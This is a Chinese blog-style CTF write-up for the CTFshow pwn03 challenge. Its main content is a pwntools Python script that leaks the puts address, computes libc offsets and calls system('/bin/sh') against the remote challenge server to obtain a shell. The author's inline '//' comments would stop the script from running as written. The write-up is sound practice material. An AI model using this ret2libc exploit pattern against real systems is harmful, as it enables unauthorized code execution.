CTFshow-pwn03
ret2lib,代码中没有system也没有/bin/sh,都要在动态库里找


from pwn import *
#from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./stack1')
#p = process('./stack1')
p = remote("pwn.challenge.ctf.show", 28106)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b'a' * 13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')//接收两个换行(?)
puts_addr = u32(p.recv(4))//接受4位
print(hex(puts_addr))//获得了puts地址,上lib databse search查,输入puts和后三位得到是哪个库
libcbase = puts_addr - 0x067360//库基地址=puts地址-puts在库中的偏移
system_addr = libcbase + 0x03cd10
binsh_addr = libcbase + 0x17b8cf//可以找到str_bin_sh的偏移
payload = b'a' * 13 + p32(system_addr) + b'a'*4 + p32(binsh_addr)//中间4位的是system返回地址,因为不需要做什么可以随便填
p.sendline(payload)
p.interactive()
上网查库的部分可以改用LibSearcher库实现 (虽然我的总说找不到库
lib = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - lib.dump("puts")
system_addr = libcbase + lib.dump("system")
binsh_addr = libcbase + lib.dump("str_bin_sh")
看这张图感觉悟了一点…
来自ctfshow-pwn03[recorded]:
用cyclic算偏移用的是eip的地址(可以gdb下溢出的时候从错误信息看到

这篇博客详细介绍了如何在没有system或/bin/sh的情况下,通过ret2lib技术来利用栈溢出漏洞。作者使用了Python的pwn库,通过发送精心构造的payload来获取puts函数的地址,然后计算libc库的基地址,并找到了system和str_bin_sh的地址,最终实现了远程代码执行。博客提到了LibcSearcher库作为可能的替代方法,但表示在实践中遇到了问题。作者还提到,理解库的偏移对于解决此类问题至关重要。
738

被折叠的 条评论
为什么被折叠?



